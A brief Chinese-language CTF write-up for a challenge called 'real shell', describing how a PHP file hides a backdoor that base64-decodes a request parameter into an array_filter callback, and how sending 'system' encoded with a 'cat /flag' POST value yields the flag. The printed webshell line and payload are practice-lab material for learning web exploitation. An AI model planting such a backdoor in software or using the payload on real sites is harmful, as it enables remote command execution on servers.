青少年CTF-真实壳牌

1.启动容器直接下载zip获取到网站的源代码2.进行代码审计发现漏洞点存在于这个文件下 1de9d9a55a824f4f8b6f37af76596baa.php?php class xKJDlNsT { public function AgKxKbTP($message) { echo Message: $message\n; } } $obj new xKJDlNsT(); $obj-AgKxKbTP(Hello from xKJDlNsT); $response file_get_contents(https://httpbin.org/get); echo HTTP Response: $response\n; echo Current Date: . date(Y-m-d) . \n; echo Current Time: . date(H:i:s) . \n; function iZbkflke($num) { if ($num 1) return 1; return $num * iZbkflke($num - 1); } echo iZbkflke(5): . iZbkflke(5) . \n; $text QKCdvmnTVdA; if (preg_match(/[a-z]/, $text)) { echo Match found in $text with pattern /[a-z]/\n; } else { echo No match found for pattern /[a-z]/\n; } $e$_REQUEST[e];$arrarray($_POST[POST],);array_filter($arr,base64_decode($e)); ?$e $_REQUEST[e]; // ① 从用户输入获取 eGET、POST、Cookie 均可 $arr array($_POST[POST],); // ② 创建一个数组元素是用户 POST 参数 POST 的值 array_filter($arr, base64_decode($e)); // ③ 用 base64_decode($e) 的结果作为回调函数处理数组 $arr这个漏洞的核心原因是攻击者可以完全控制array_filter的第二个参数回调函数从而执行任意 PHP 代码。3.既然思路已经清楚了直接访问这个文件的网址尝试抓包构造payload修改请求方式为POST构造参数e的值为c3lzdGVtsystem的base64编码POST参数则执行你输入的命令cat /flagflagflag{0035f37c9ca24aa1adf27295fcf22559}